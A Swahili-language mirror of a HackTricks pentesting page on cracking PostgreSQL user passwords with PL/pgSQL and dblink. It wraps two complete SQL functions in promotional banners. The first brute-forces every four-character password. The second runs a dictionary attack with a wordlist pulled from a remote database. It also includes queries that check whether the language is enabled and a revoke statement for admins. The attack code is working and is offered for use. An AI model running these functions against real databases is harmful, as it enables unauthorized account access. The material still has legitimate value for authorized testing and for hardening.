mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-23 10:25:07 +00:00
129 lines
5.7 KiB
Markdown
129 lines
5.7 KiB
Markdown
# PL/pgSQL Uvunjaji wa Nywila
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
**Pata [mashambulizi zaidi kuhusu hili katika karatasi ya asili](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
|
|
|
PL/pgSQL ni **lugha kamili ya programu** ambayo inazidi uwezo wa SQL kwa kutoa **udhibiti ulioimarishwa wa taratibu**. Hii ni pamoja na matumizi ya mizunguko na muundo mbalimbali wa udhibiti. Kazi zilizoundwa kwa lugha ya PL/pgSQL zinaweza kuitwa na taarifa za SQL na vifungo, kuongeza wigo wa shughuli ndani ya mazingira ya hifadhidata.
|
|
|
|
Unaweza kutumia lugha hii kudukua PostgreSQL ili kujaribu kuvunja nywila za watumiaji, lakini lazima iwe ipo kwenye hifadhidata. Unaweza kuthibitisha uwepo wake kwa kutumia:
|
|
```sql
|
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
|
lanname | lanacl
|
|
---------+---------
|
|
plpgsql |
|
|
```
|
|
Kwa chaguo-msingi, **kuunda kazi ni haki iliyotolewa kwa umma**, ambapo UMMA inahusu kila mtumiaji kwenye mfumo huo wa database. Ili kuzuia hili, msimamizi angehitaji kurejesha haki ya MATUMIZI kutoka kwa kikoa cha UMMA:
|
|
```sql
|
|
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
|
```
|
|
Katika kesi hiyo, swali letu la awali litatoa matokeo tofauti:
|
|
```sql
|
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
|
lanname | lanacl
|
|
---------+-----------------
|
|
plpgsql | {admin=U/admin}
|
|
```
|
|
Tafadhali kumbuka kuwa ili script ifuatayo ifanye kazi **kazi ya `dblink` inahitajika**. Ikiwa haipo, unaweza kujaribu kuunda kwa kutumia 
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
## Kuvunja Nguvu ya Nenosiri
|
|
|
|
Hapa ndipo unaweza kutekeleza kuvunja nguvu ya nenosiri lenye herufi 4:
|
|
```sql
|
|
//Create the brute-force function
|
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
|
$$
|
|
DECLARE
|
|
word TEXT;
|
|
BEGIN
|
|
FOR a IN 65..122 LOOP
|
|
FOR b IN 65..122 LOOP
|
|
FOR c IN 65..122 LOOP
|
|
FOR d IN 65..122 LOOP
|
|
BEGIN
|
|
word := chr(a) || chr(b) || chr(c) || chr(d);
|
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
|
' port=' || port ||
|
|
' dbname=' || dbname ||
|
|
' user=' || username ||
|
|
' password=' || word,
|
|
'SELECT 1')
|
|
RETURNS (i INT));
|
|
RETURN word;
|
|
EXCEPTION
|
|
WHEN sqlclient_unable_to_establish_sqlconnection
|
|
THEN
|
|
-- do nothing
|
|
END;
|
|
END LOOP;
|
|
END LOOP;
|
|
END LOOP;
|
|
END LOOP;
|
|
RETURN NULL;
|
|
END;
|
|
$$ LANGUAGE 'plpgsql';
|
|
|
|
//Call the function
|
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
|
```
|
|
_Note kwamba hata kuvunja nguvu wahusika 4 inaweza kuchukua dakika kadhaa._
|
|
|
|
Unaweza pia **kupakua orodha ya maneno** na kujaribu nywila hizo tu (shambulio la kamusi):
|
|
```sql
|
|
//Create the function
|
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
|
$$
|
|
BEGIN
|
|
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
|
|
user=name
|
|
password=qwerty
|
|
dbname=wordlists',
|
|
'SELECT word FROM wordlist')
|
|
RETURNS (word TEXT)) LOOP
|
|
BEGIN
|
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
|
' port=' || port ||
|
|
' dbname=' || dbname ||
|
|
' user=' || username ||
|
|
' password=' || word,
|
|
'SELECT 1')
|
|
RETURNS (i INT));
|
|
RETURN word;
|
|
|
|
EXCEPTION
|
|
WHEN sqlclient_unable_to_establish_sqlconnection THEN
|
|
-- do nothing
|
|
END;
|
|
END LOOP;
|
|
RETURN NULL;
|
|
END;
|
|
$$ LANGUAGE 'plpgsql'
|
|
|
|
-- Call the function
|
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|